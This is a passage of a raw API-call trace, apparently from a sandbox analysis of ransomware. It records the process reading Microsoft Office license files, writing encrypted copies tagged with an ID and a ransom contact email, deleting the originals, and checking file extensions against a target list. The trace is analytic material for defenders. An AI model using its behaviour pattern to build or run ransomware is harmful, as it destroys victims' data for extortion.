returned 1 [0216.294] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.294] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x110, lpOverlapped=0x0) returned 1 [0216.294] SetEndOfFile (hFile=0x3f8) returned 1 [0216.294] CloseHandle (hObject=0x3f8) returned 1 [0216.294] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.295] SetEndOfFile (hFile=0x518) returned 1 [0216.298] CloseHandle (hObject=0x518) returned 1 [0216.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms")) returned 1 [0216.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.299] lstrlenW (lpString=".doc") returned 4 [0216.299] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.299] lstrlenW (lpString=".docx") returned 5 [0216.299] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.299] lstrlenW (lpString=".pdf") returned 4 [0216.299] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.299] lstrlenW (lpString=".xls") returned 4 [0216.299] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.299] lstrlenW (lpString=".xlsx") returned 5 [0216.299] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.299] lstrlenW (lpString=".ppt") returned 4 [0216.299] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.299] lstrlenW (lpString=".zip") returned 4 [0216.299] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.299] lstrlenW (lpString=".rar") returned 4 [0216.299] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.299] lstrlenW (lpString=".bz2") returned 4 [0216.299] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.299] lstrlenW (lpString=".7z") returned 3 [0216.299] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.299] lstrlenW (lpString=".dbf") returned 4 [0216.299] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.300] lstrlenW (lpString=".1cd") returned 4 [0216.300] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.300] lstrlenW (lpString=".jpg") returned 4 [0216.300] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.300] lstrlenW (lpString=".doc") returned 4 [0216.300] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString=".docx") returned 5 [0216.300] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.300] lstrlenW (lpString=".pdf") returned 4 [0216.300] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString=".xls") returned 4 [0216.300] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString=".xlsx") returned 5 [0216.300] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.300] lstrlenW (lpString=".ppt") returned 4 [0216.300] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.300] lstrlenW (lpString=".zip") returned 4 [0216.300] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString=".rar") returned 4 [0216.300] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString=".bz2") returned 4 [0216.300] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString=".7z") returned 3 [0216.300] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.300] lstrlenW (lpString=".dbf") returned 4 [0216.300] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.300] lstrlenW (lpString=".1cd") returned 4 [0216.301] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0216.301] lstrlenW (lpString=".jpg") returned 4 [0216.301] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.301] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.301] lstrlenW (lpString="ProjectStdCO365R_Subscription-pl.xrm-ms") returned 39 [0216.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.302] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11207) returned 1 [0216.302] CloseHandle (hObject=0x518) returned 1 [0216.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms")) returned 0x220 [0216.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.302] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.302] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0216.303] GetLastError () returned 0x0 [0216.303] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bc7, lpOverlapped=0x0) returned 1 [0216.305] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0216.306] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.306] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x122, lpOverlapped=0x0) returned 1 [0216.306] SetEndOfFile (hFile=0x3f8) returned 1 [0216.306] CloseHandle (hObject=0x3f8) returned 1 [0216.306] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.307] SetEndOfFile (hFile=0x518) returned 1 [0216.309] CloseHandle (hObject=0x518) returned 1 [0216.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms")) returned 1 [0216.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.310] lstrlenW (lpString=".doc") returned 4 [0216.310] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.310] lstrlenW (lpString=".docx") returned 5 [0216.310] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.311] lstrlenW (lpString=".pdf") returned 4 [0216.311] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString=".xls") returned 4 [0216.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString=".xlsx") returned 5 [0216.311] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.311] lstrlenW (lpString=".ppt") returned 4 [0216.311] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.311] lstrlenW (lpString=".zip") returned 4 [0216.311] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString=".rar") returned 4 [0216.311] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString=".bz2") returned 4 [0216.311] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString=".7z") returned 3 [0216.311] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.311] lstrlenW (lpString=".dbf") returned 4 [0216.311] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.311] lstrlenW (lpString=".1cd") returned 4 [0216.311] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.311] lstrlenW (lpString=".jpg") returned 4 [0216.311] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.311] lstrlenW (lpString=".doc") returned 4 [0216.311] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.311] lstrlenW (lpString=".docx") returned 5 [0216.311] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.311] lstrlenW (lpString=".pdf") returned 4 [0216.312] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.312] lstrlenW (lpString=".xls") returned 4 [0216.312] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.312] lstrlenW (lpString=".xlsx") returned 5 [0216.312] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.312] lstrlenW (lpString=".ppt") returned 4 [0216.312] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.312] lstrlenW (lpString=".zip") returned 4 [0216.312] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.312] lstrlenW (lpString=".rar") returned 4 [0216.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.312] lstrlenW (lpString=".bz2") returned 4 [0216.312] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.312] lstrlenW (lpString=".7z") returned 3 [0216.312] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.312] lstrlenW (lpString=".dbf") returned 4 [0216.312] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.312] lstrlenW (lpString=".1cd") returned 4 [0216.312] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0216.312] lstrlenW (lpString=".jpg") returned 4 [0216.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.312] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.312] lstrlenW (lpString="ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 40 [0216.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.313] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=21341) returned 1 [0216.313] CloseHandle (hObject=0x518) returned 1 [0216.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms")) returned 0x220 [0216.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.314] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.314] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0216.315] GetLastError () returned 0x0 [0216.315] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x535d, lpOverlapped=0x0) returned 1 [0216.602] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5360, lpOverlapped=0x0) returned 1 [0216.603] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.603] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x124, lpOverlapped=0x0) returned 1 [0216.603] SetEndOfFile (hFile=0x3f8) returned 1 [0216.603] CloseHandle (hObject=0x3f8) returned 1 [0216.603] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.603] SetEndOfFile (hFile=0x518) returned 1 [0216.607] CloseHandle (hObject=0x518) returned 1 [0216.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms")) returned 1 [0216.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.609] lstrlenW (lpString=".doc") returned 4 [0216.609] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.609] lstrlenW (lpString=".docx") returned 5 [0216.609] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.609] lstrlenW (lpString=".pdf") returned 4 [0216.609] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.609] lstrlenW (lpString=".xls") returned 4 [0216.609] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.609] lstrlenW (lpString=".xlsx") returned 5 [0216.609] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.610] lstrlenW (lpString=".ppt") returned 4 [0216.610] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.610] lstrlenW (lpString=".zip") returned 4 [0216.610] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString=".rar") returned 4 [0216.610] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString=".bz2") returned 4 [0216.610] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString=".7z") returned 3 [0216.610] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.610] lstrlenW (lpString=".dbf") returned 4 [0216.610] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.610] lstrlenW (lpString=".1cd") returned 4 [0216.610] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.610] lstrlenW (lpString=".jpg") returned 4 [0216.610] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.610] lstrlenW (lpString=".doc") returned 4 [0216.610] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString=".docx") returned 5 [0216.610] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.610] lstrlenW (lpString=".pdf") returned 4 [0216.610] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString=".xls") returned 4 [0216.610] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.610] lstrlenW (lpString=".xlsx") returned 5 [0216.610] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.610] lstrlenW (lpString=".ppt") returned 4 [0216.611] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.611] lstrlenW (lpString=".zip") returned 4 [0216.611] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.611] lstrlenW (lpString=".rar") returned 4 [0216.611] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.611] lstrlenW (lpString=".bz2") returned 4 [0216.611] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.611] lstrlenW (lpString=".7z") returned 3 [0216.611] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.611] lstrlenW (lpString=".dbf") returned 4 [0216.611] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.611] lstrlenW (lpString=".1cd") returned 4 [0216.611] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0216.611] lstrlenW (lpString=".jpg") returned 4 [0216.611] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.611] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.611] lstrlenW (lpString="ProjectStdO365R_Subscription-ppd.xrm-ms") returned 39 [0216.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.612] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=21340) returned 1 [0216.612] CloseHandle (hObject=0x518) returned 1 [0216.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms")) returned 0x220 [0216.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.613] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.613] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 